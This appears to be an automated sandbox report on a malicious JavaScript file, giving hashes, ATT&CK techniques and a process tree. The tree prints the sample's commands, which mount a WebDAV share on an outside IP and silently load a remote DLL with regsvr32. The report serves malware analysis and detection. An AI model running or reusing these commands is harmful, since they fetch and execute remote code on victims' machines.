036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a

Analysis

max time kernel
93s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 06:04

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General

Target

2319617842916231719.js
Size

5KB
MD5

6b6dbadd4dec5457689f870b6b32527f
SHA1

91addac3c338aa79a00c9ab583011663dabdca8e
SHA256

036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a
SHA512

02695c6f83cad77b2708403110efd7573140d14cbcfe30465fe66f9321f90d95c2dd31fa14725249c80af89e5a5c82a8676d0888319a48a2cc6ecfc311302d8c
SSDEEP

48:T5PGdKyyv3LZPDnk4qk760k77srh1zP5eTlanm3H4/c081JHR7HYV78RYHQPAXcn:9Lhtw456rQt1z4ZXAtVe3yGmk7

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-771719357-2485960699-3367710044-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 396 wrote to memory of 3956	396	wscript.exe	82
PID 396 wrote to memory of 3956	396	wscript.exe	82
PID 3956 wrote to memory of 2988	3956	cmd.exe	85
PID 3956 wrote to memory of 2988	3956	cmd.exe	85
PID 3956 wrote to memory of 2936	3956	cmd.exe	86
PID 3956 wrote to memory of 2936	3956	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2319617842916231719.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2319617842916231719.js" "C:\Users\Admin\\fepkhu.bat" && "C:\Users\Admin\\fepkhu.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2988
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\241.dll
    3⤵
    PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\fepkhu.bat

Filesize
5KB

MD5
6b6dbadd4dec5457689f870b6b32527f

SHA1
91addac3c338aa79a00c9ab583011663dabdca8e

SHA256
036c5254f2f9ee8febf8e45043fe2c0864e8642a107f4221d114810d10a9fc8a

SHA512
02695c6f83cad77b2708403110efd7573140d14cbcfe30465fe66f9321f90d95c2dd31fa14725249c80af89e5a5c82a8676d0888319a48a2cc6ecfc311302d8c

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